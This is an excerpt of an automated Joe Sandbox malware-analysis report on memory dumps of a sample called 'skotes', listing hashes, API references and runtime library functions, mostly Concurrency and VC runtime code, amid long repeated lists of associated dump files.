Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: d7837d4f0a7314b924027131c386d5baeecb86a1d3e86fd0ac5f522a97b7a889
Instruction ID: 4be4a5234cb4fc3ec9456cb11f01a533190004ea686bed905647a626007f2e37
Opcode Fuzzy Hash: d7837d4f0a7314b924027131c386d5baeecb86a1d3e86fd0ac5f522a97b7a889
Instruction Fuzzy Hash: 9281E131A15626ABCB18CF68F8906BDB7F5BB88300F25402DD445E7689DB74AD84DB90

Function 009269DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00926A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00926A51
List.LIBCONCRT ref: 00926A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00926A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00926AB9
List.LIBCONCRT ref: 00926AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00926B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00926B20
List.LIBCONCRT ref: 00926B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00926B68

Part of subcall function 00925EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00925EF7
Part of subcall function 00925EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00925F09

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 3bb22f7858138e53f43ae21d2ef7d90162a5583ebd71644c935ed1ebd8282d14
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 52515C71A00229AFDF08DF64D495BEDB3B8BF48304F0540A9E915AB686DB70AE44CB90

Function 009352A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 009353A0
type_info::operator==.LIBVCRUNTIME ref: 009353C7
___TypeMatch.LIBVCRUNTIME ref: 009354D3
IsInExceptionSpec.LIBVCRUNTIME ref: 009355AE
CallUnexpected.LIBVCRUNTIME ref: 00935650

Strings

csm, xrefs: 009353FE
csm, xrefs: 009352E0
csm, xrefs: 0093534D

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 6eeb532e1adbf0345346f127e9890dc3c5c014dc7aa5e52623db2bc48ba2bca9
Instruction ID: 8e7462eff08e741bbecf9bd42e54df12951981e80680e9ce7cc8541de0db485e
Opcode Fuzzy Hash: 6eeb532e1adbf0345346f127e9890dc3c5c014dc7aa5e52623db2bc48ba2bca9
Instruction Fuzzy Hash: 82C1BB71800609EFCF19DFA4C881AAEBBB9FF58315F06455AF8116B212D370EA51CF91

Function 00927364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 009273B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 009273F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0092740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00927419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00927440

Strings

count, xrefs: 0092737E
ppVirtualProcessorRoots, xrefs: 00927438

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 72d97dcd7dd02ac471f0327336209f854fa8fe535950142f8c54a6df94ced15f
Instruction ID: 72d5ecc56eb0d5988ed2b3b150167e09fc808375d39071bb742efa5366f20e4c
Opcode Fuzzy Hash: 72d97dcd7dd02ac471f0327336209f854fa8fe535950142f8c54a6df94ced15f
Instruction Fuzzy Hash: C5218234A04319EFCF10EF99E495AADBBB9BF88344F144069E905A7365DB30AE45CF90

Function 009278E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00927903

Part of subcall function 00925CB8: __EH_prolog3_catch.LIBCMT ref: 00925CBF
Part of subcall function 00925CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00925CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0092792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00927936

Part of subcall function 00925CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00925D70
Part of subcall function 00925CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00925D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00927982
Concurrency::location::_Assign.LIBCMT ref: 009279A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 009279AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 009279BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 009279ED

Part of subcall function 0092691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00926942
Part of subcall function 0092691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00926965

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: a2cf9a31665e403014876e0a1e68a77549f88f8d9b519760dcceb7f9aa4fef75
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 97310834B083756BCF16AAB864927FEF7B99F91300F0405A5D485F724ADA244D89C7D1

Function 00934840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00934877
___except_validate_context_record.LIBVCRUNTIME ref: 0093487F
_ValidateLocalCookies.LIBCMT ref: 00934908
__IsNonwritableInCurrentImage.LIBCMT ref: 00934933
_ValidateLocalCookies.LIBCMT ref: 00934988

Strings

csm, xrefs: 0093491D

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
